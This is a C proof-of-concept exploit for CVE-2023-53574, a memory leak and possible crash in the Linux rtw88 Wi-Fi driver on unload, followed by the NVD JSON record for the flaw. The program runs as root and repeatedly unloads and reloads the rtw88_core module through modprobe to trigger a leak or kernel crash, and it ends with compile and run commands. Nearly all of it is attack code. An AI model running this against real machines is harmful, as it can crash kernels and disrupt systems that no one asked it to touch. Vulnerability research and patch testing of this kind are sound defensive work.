CVE-2023-53574

// PoC for CVE-2023-53574: Trigger rtw88 driver unload crash // This PoC demonstrates how to trigger the vulnerability by loading and // unloading the rtw88 driver module multiple times to cause memory leak // or potential kernel crash due to uncleared timer and unfreed skb queue. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> // Check if rtw88 module is loaded int check_module_loaded(const char *module_name) { char cmd[256]; snprintf(cmd, sizeof(cmd), "lsmod | grep -w %s > /dev/null 2>&1", module_name); return system(cmd) == 0; } // Unload the rtw88 module int unload_module(const char *module_name) { char cmd[256]; printf("[*] Attempting to unload %s module...\n", module_name); snprintf(cmd, sizeof(cmd), "modprobe -r %s 2>/dev/null", module_name); return system(cmd); } // Load the rtw88 module int load_module(const char *module_name) { char cmd[256]; printf("[*] Attempting to load %s module...\n", module_name); snprintf(cmd, sizeof(cmd), "modprobe %s 2>/dev/null", module_name); return system(cmd); } int main(int argc, char *argv[]) { const char *module = "rtw88_core"; int iterations = 10; if (getuid() != 0) { fprintf(stderr, "[!] This PoC requires root privileges.\n"); fprintf(stderr, "[!] Run with sudo or as root.\n"); return 1; } printf("[*] CVE-2023-53574 PoC - rtw88 Driver Unload Vulnerability\n"); printf("[*] This will repeatedly load/unload the rtw88 driver\n"); printf("[*] to trigger memory leak or kernel crash.\n\n"); if (argc > 1) { iterations = atoi(argv[1]); } printf("[*] Running %d iterations...\n\n", iterations); for (int i = 0; i < iterations; i++) { printf("[Iteration %d/%d]\n", i + 1, iterations); if (check_module_loaded(module)) { unload_module(module); } else { printf("[*] Module not loaded, attempting to load...\n"); } sleep(1); load_module(module); sleep(1); } printf("\n[*] PoC execution completed.\n"); printf("[*] Check dmesg for kernel warnings or crashes.\n"); return 0; } // Compile: gcc -o poc_cve_2023_53574 poc.c // Run: sudo ./poc_cve_2023_53574 5 // // Alternative trigger: Simply restart the system or // run "rmmod rtw88_pci" / "modprobe rtw88_pci" on a system // with Realtek WiFi hardware to observe the crash/leak.

{"cve": {"id": "CVE-2023-53574", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.023", "lastModified": "2026-03-21T01:07:02.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: delete timer and free skb queue when unloading\n\nFix possible crash and memory leak on driver unload by deleting\nTX purge timer and freeing C2H queue in 'rtw_core_deinit()',\nshrink critical section in the latter by freeing COEX queue\nout of TX report lock scope."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "6.5.5", "matchCriteriaId": "125DF969-ABDE-40D0-91A0-7D21C7BBC9F3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4128b00a6006870e117ab1841e58f369e9284ecb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/634fcbcaa4062db39aeb5ac6ed1bc1feb8dd5216", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}